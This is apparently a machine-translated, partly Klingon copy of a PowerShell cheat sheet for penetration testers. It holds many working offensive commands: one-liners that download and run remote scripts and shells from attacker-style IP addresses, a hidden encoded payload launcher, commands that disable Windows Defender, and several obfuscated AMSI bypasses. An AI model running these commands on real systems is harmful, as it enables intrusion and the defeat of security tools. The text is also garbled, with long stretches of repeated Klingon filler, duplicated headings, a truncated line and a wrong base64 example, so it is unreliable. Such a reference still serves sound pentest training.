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README.md

Basic PowerShell for Pentesters

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Default PowerShell locations

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

QaStaHvIS PS qarDaq

Introduction

In this section, we will cover some basic PowerShell commands that will help you get started with PowerShell for pentesting purposes.

PowerShell Basics

PowerShell is a powerful scripting language and command-line shell that is built on the .NET framework. It provides a wide range of commands and features that can be used for various purposes, including system administration, automation, and pentesting.

Here are some basic PowerShell commands that you can use to navigate and interact with the Windows operating system:

Get-Command

The Get-Command command is used to retrieve a list of all available commands in PowerShell. This can be useful when you are not sure about the exact command to use for a specific task.

Get-Command

Get-Help

The Get-Help command is used to retrieve detailed information about a specific command in PowerShell. This can be useful when you need to understand how a command works or what parameters it accepts.

Get-Help <command>

Replace <command> with the name of the command you want to get help for.

Get-Process

The Get-Process command is used to retrieve a list of all running processes on the system. This can be useful when you need to identify a specific process or check the resource usage of processes.

Get-Process

Get-Service

The Get-Service command is used to retrieve a list of all services running on the system. This can be useful when you need to check the status of a specific service or start/stop a service.

Get-Service

Get-EventLog

The Get-EventLog command is used to retrieve event log entries from the system. This can be useful when you need to investigate system events or monitor specific event logs.

Get-EventLog -LogName <logname>

Replace <logname> with the name of the event log you want to retrieve entries from.

Conclusion

These are just a few basic PowerShell commands that you can use to get started with PowerShell for pentesting purposes. PowerShell provides a wide range of commands and features that can be used to perform various tasks. It is a powerful tool for system administration, automation, and pentesting.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Download & Execute

English Translation:

tlhIngan Hol Translation:

Download & Execute

English Translation:

To download and execute a file using PowerShell, you can use the following command:

Invoke-WebRequest -Uri <URL> -OutFile <OutputFile>; .\<OutputFile>

Replace <URL> with the URL of the file you want to download, and <OutputFile> with the name you want to give to the downloaded file.

This command uses the Invoke-WebRequest cmdlet to download the file from the specified URL and save it to the local system. The -OutFile parameter specifies the name of the output file.

After the file is downloaded, the second part of the command (.<OutputFile>) executes the downloaded file.

tlhIngan Hol Translation:

To download and execute a file using PowerShell, you can use the following command:

Invoke-WebRequest -Uri <URL> -OutFile <OutputFile>; .\<OutputFile>

Replace <URL> with the URL of the file you want to download, and <OutputFile> with the name you want to give to the downloaded file.

This command uses the Invoke-WebRequest cmdlet to download the file from the specified URL and save it to the local system. The -OutFile parameter specifies the name of the output file.

After the file is downloaded, the second part of the command (.<OutputFile>) executes the downloaded file.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Download & Execute in background with AMSI Bypass

tlhIngan Hol translation:

Download & Execute in background with AMSI Bypass

tlhIngan Hol translation:

Download & Execute in background with AMSI Bypass

tlhIngan Hol translation:

Download & Execute in background with AMSI Bypass

tlhIngan Hol translation:

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

b64-vaqrat b64 sebz linux

To encode or decode base64 strings from the command line in Linux, you can use the base64 command. Here are some examples:

Encoding a string:

$ echo "Hello, World!" | base64
SGVsbG8sIFdvcmxkIQ==

Decoding a string:

$ echo "SGVsbG8sIFdvcmxkIQ==" | base64 -d
Hello, World!

You can also use the -w option to specify the maximum line width for the encoded output. For example, to limit the line width to 10 characters:

$ echo "Hello, World!" | base64 -w 10
SGVsbG8s
IFdvcmxkIQ==

That's it! Using the base64 command in Linux, you can easily encode and decode base64 strings from the command line.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Download

System.Net.WebClient

System.Net.WebClient is a class in PowerShell that allows you to download files from the internet. It provides a simple and convenient way to retrieve files using HTTP or FTP protocols.

To use System.Net.WebClient, you can create an instance of the class and then call the DownloadFile method, passing the URL of the file you want to download and the path where you want to save it.

Here is an example:

$webClient = New-Object System.Net.WebClient
$webClient.DownloadFile("http://example.com/file.txt", "C:\path\to\save\file.txt")

In this example, the file file.txt from http://example.com will be downloaded and saved to C:\path\to\save\file.txt.

You can also use the DownloadString method to download the contents of a file as a string:

$webClient = New-Object System.Net.WebClient
$content = $webClient.DownloadString("http://example.com/file.txt")

In this case, the contents of file.txt from http://example.com will be downloaded and stored in the $content variable as a string.

Note that System.Net.WebClient is not limited to downloading files from the internet. It can also be used to upload files, send HTTP requests, and perform other web-related tasks.

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest is a cmdlet in PowerShell that allows you to send HTTP and HTTPS requests to a web page or web service. It can be used for various purposes, such as downloading files, interacting with web APIs, and scraping web content.

To use Invoke-WebRequest, you need to provide the URL of the web page or service you want to interact with. You can also specify additional parameters, such as headers, cookies, and authentication credentials.

Here is an example of how to use Invoke-WebRequest to download a file from a web server:

Invoke-WebRequest -Uri "https://example.com/file.txt" -OutFile "C:\path\to\save\file.txt"

In this example, the -Uri parameter specifies the URL of the file you want to download, and the -OutFile parameter specifies the local path where you want to save the file.

Invoke-WebRequest also allows you to send POST requests and pass data to web services. Here is an example of how to send a POST request with JSON data:

$uri = "https://example.com/api"
$body = @{
    "name" = "John Doe"
    "email" = "johndoe@example.com"
} | ConvertTo-Json

Invoke-WebRequest -Uri $uri -Method Post -Body $body -ContentType "application/json"

In this example, the -Method parameter is set to Post to indicate that we want to send a POST request. The -Body parameter contains the JSON data that we want to send, and the -ContentType parameter specifies the content type of the request.

Invoke-WebRequest is a powerful cmdlet that can be used for various web-related tasks in PowerShell. It is a valuable tool for pentesters and can be used to automate web interactions during a penetration test.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. Wget is available for various operating systems, including Windows.

To use Wget, you need to open a command prompt or PowerShell window and enter the appropriate command. Here are some examples of how you can use Wget:

Download a file:

wget <URL>

Download a file and save it with a different name:

wget -O <output_file> <URL>

Download multiple files:

wget <URL1> <URL2> <URL3>

Download a file and continue an interrupted download:

wget -c <URL>

Download a file and limit the download speed:

wget --limit-rate=<speed> <URL>

Download a file and specify the user agent:

wget --user-agent="<user_agent>" <URL>

Download a file and specify the referer:

wget --referer="<referer>" <URL>

Download a file and specify the output directory:

wget -P <output_directory> <URL>

These are just a few examples of what you can do with Wget. It is a powerful tool that can be used in various ways to retrieve files from the web.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Description

BitsTransfer is a PowerShell module that allows you to transfer files using the Background Intelligent Transfer Service (BITS). This module provides a convenient way to download or upload files in a reliable and efficient manner.

Usage

To use BitsTransfer, you need to import the module by running the following command:

Import-Module BitsTransfer

Once the module is imported, you can use the Start-BitsTransfer cmdlet to initiate a file transfer. Here's an example of how to download a file using BitsTransfer:

Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Downloads\file.txt"

In this example, the file located at http://example.com/file.txt will be downloaded and saved to C:\Downloads\file.txt.

You can also use the Start-BitsTransfer cmdlet to upload files. Here's an example:

Start-BitsTransfer -Source "C:\Documents\file.txt" -Destination "http://example.com/uploads/file.txt"

In this example, the file located at C:\Documents\file.txt will be uploaded to http://example.com/uploads/file.txt.

Benefits

BitsTransfer offers several benefits for file transfers:

Resilience: BitsTransfer can automatically resume interrupted transfers, ensuring that large files are transferred reliably.
Efficiency: BitsTransfer uses the Background Intelligent Transfer Service (BITS), which optimizes bandwidth usage and minimizes impact on network performance.
Asynchronous transfers: BitsTransfer allows you to initiate multiple file transfers simultaneously, improving overall transfer speed.
PowerShell integration: BitsTransfer is a native PowerShell module, making it easy to incorporate file transfers into your PowerShell scripts and automation workflows.

Limitations

While BitsTransfer provides many advantages, it also has some limitations:

Windows-only: BitsTransfer is only available on Windows operating systems.
No support for SFTP or FTPS: BitsTransfer only supports HTTP and HTTPS protocols for file transfers.
No built-in encryption: BitsTransfer does not provide encryption for transferred files. If encryption is required, you should consider using other tools or protocols to secure your data.

Conclusion

BitsTransfer is a powerful PowerShell module that simplifies file transfers using the Background Intelligent Transfer Service (BITS). It offers resilience, efficiency, and asynchronous transfers, making it a valuable tool for both manual and automated file transfers. However, it is important to be aware of its limitations, such as its Windows-only support and lack of encryption.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

Base64 Kali

Base64 encoding is a common technique used to encode binary data into ASCII characters. In Kali Linux, you can use the base64 command-line tool to encode and decode data in Base64 format.

To encode a file using Base64 in Kali Linux, you can use the following command:

base64 <file> > <output_file>

Replace <file> with the path to the file you want to encode, and <output_file> with the desired name for the encoded file.

To decode a Base64-encoded file in Kali Linux, you can use the following command:

base64 -d <file> > <output_file>

Replace <file> with the path to the Base64-encoded file, and <output_file> with the desired name for the decoded file.

EncodedCommand

In PowerShell, the EncodedCommand parameter allows you to run a command that has been encoded in Base64 format. This can be useful for bypassing security measures that may block certain commands.

To use the EncodedCommand parameter in PowerShell, you can use the following syntax:

powershell.exe -EncodedCommand <base64_encoded_command>

Replace <base64_encoded_command> with the Base64-encoded command you want to run.

For example, if you want to run the command Get-Process, you can encode it in Base64 and use the EncodedCommand parameter like this:

powershell.exe -EncodedCommand R0VUIC1Qcm9jZXNz

This will execute the Get-Process command in PowerShell.

Remember to encode the command using a tool like base64 before using it with the EncodedCommand parameter.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Execution Policy

Constrained language

AppLocker Policy

Enable WinRM (Remote PS)

QapHa'moHwI'

QapHa'moHwI' vItlhutlh

AppLocker QapHa'moHwI'

WinRM (Remote PS) QapHa'moHwI' Qapla'!

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Qapla' Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

AMSI bypass

amsi.dll chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh chargh **chargh

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Bypass 2 - Managed API Call Hooking

This post provides detailed information and code for this technique. Introduction:

Qapla'! (Success!) This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can be hooked to change the control flow of a program.

The steps performing API cal hooking of .NET methods are:

QaD (Identify) the target method to hook
QaD (Define) a method with the same function prototype as the target
QaD (Use reflection) to find the methods
QaD (Ensure) each method has been compiled
QaD (Find) the location of each method in memory
QaD (Overwrite) the target method with instructions pointing to our malicious method

AMSI Bypass 3 - SeDebug Privilege

Following this guide & code you can see how with enough privileges to debug processes, you can spawn a powershell.exe process, debug it, monitor when it loads amsi.dll and disable it.

AMSI Bypass - More Resources

PS-History

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Qapla' batlh

Qapla' : CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

QapHa'wI' lo'wI'pu'

PowerShell

To get the permissions of a file or directory using PowerShell, you can use the Get-Acl cmdlet. This cmdlet retrieves the access control list (ACL) for the specified file or directory.

Get-Acl -Path C:\path\to\file_or_directory

Klingon

PowerShell vItlhutlhlaHchugh, file qutlh 'ej directory permissions laH 'e' vItlhutlh. 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vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHchugh 'e' vItlhutlhlaHch

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

OS version and HotFixes

tlhIngan Hol translation:

nIvbogh vItlhutlh je HotFixes

HTML translation:

nIvbogh vItlhutlh je HotFixes

```powershell [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ## qo'noS

PowerShell Version

Get PowerShell Version

$PSVersionTable.PSVersion

Set Execution Policy

Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser

PowerShell Profiles

Current User Profile

$PROFILE

All User Profiles

$PROFILE.AllUsersCurrentHost

PowerShell Modules

List Installed Modules

Get-Module -ListAvailable

Import a Module

Import-Module <ModuleName>

PowerShell Aliases

List Aliases

Get-Alias

Create an Alias

Set-Alias -Name <AliasName> -Value <CommandName>

PowerShell Functions

List Functions

Get-Command -Type Function

Create a Function

function <FunctionName> {
    # Function code here
}

PowerShell Variables

List Variables

Get-Variable

Create a Variable

$<VariableName> = <Value>

PowerShell Scripts

Execute a Script

.\<ScriptName>.ps1

Set Execution Policy for Scripts

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

PowerShell Remoting

Enable PowerShell Remoting

Enable-PSRemoting -Force

Connect to a Remote Computer

Enter-PSSession -ComputerName <ComputerName>

Disconnect from a Remote Computer

Exit-PSSession

PowerShell Execution Policy

Get Execution Policy

Get-ExecutionPolicy

Set Execution Policy

Set-ExecutionPolicy -ExecutionPolicy <Policy> -Scope <Scope>

PowerShell History

List Command History

Get-History

Clear Command History

Clear-History

PowerShell Logging

Enable PowerShell Logging

Set-PSDebug -Trace 2

Disable PowerShell Logging

Set-PSDebug -Trace 0

PowerShell Transcripts

Start Transcription

Start-Transcript -Path <FilePath>

Stop Transcription

Stop-Transcript

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

bIQtlh 'ejmey

Introduction

When performing a penetration test or conducting any kind of security assessment on a Windows system, it is important to identify and explore all connected drives. These drives may contain valuable information or provide potential attack vectors.

In this section, we will discuss various techniques to identify and access other connected drives on a Windows system using PowerShell.

Using PowerShell to List Connected Drives

PowerShell provides several cmdlets that can be used to list the connected drives on a Windows system. The most commonly used cmdlet is Get-PSDrive, which retrieves information about all the drives available on the system.

To list all the connected drives, open a PowerShell session and run the following command:

Get-PSDrive

This command will display a list of all the connected drives, including local drives, network drives, and other types of drives.

Accessing Connected Drives

Once you have identified the connected drives, you can access them using PowerShell. The connected drives are represented by drive letters, such as C:, D:, E:, etc.

To access a specific drive, you can use the drive letter followed by a colon (:) in the PowerShell command. For example, to access the D: drive, you can run the following command:

cd D:

This command will change the current directory to the root directory of the D: drive.

Conclusion

Identifying and exploring other connected drives on a Windows system is an important step in a penetration test or security assessment. PowerShell provides powerful cmdlets that can be used to list and access these drives, allowing you to gather valuable information and potentially exploit vulnerabilities.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Qa'Hom QaD

Description

The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. This feature provides a safety net in case a file or folder is accidentally deleted and needs to be restored.

Recycle Bin Location

The Recycle Bin is located on the desktop by default. It appears as an icon with a trash can. Double-clicking on the icon will open the Recycle Bin window.

Restoring Deleted Files

To restore a deleted file or folder from the Recycle Bin, follow these steps:

Open the Recycle Bin by double-clicking on its icon.
Locate the file or folder that needs to be restored.
Right-click on the file or folder and select "Restore" from the context menu.
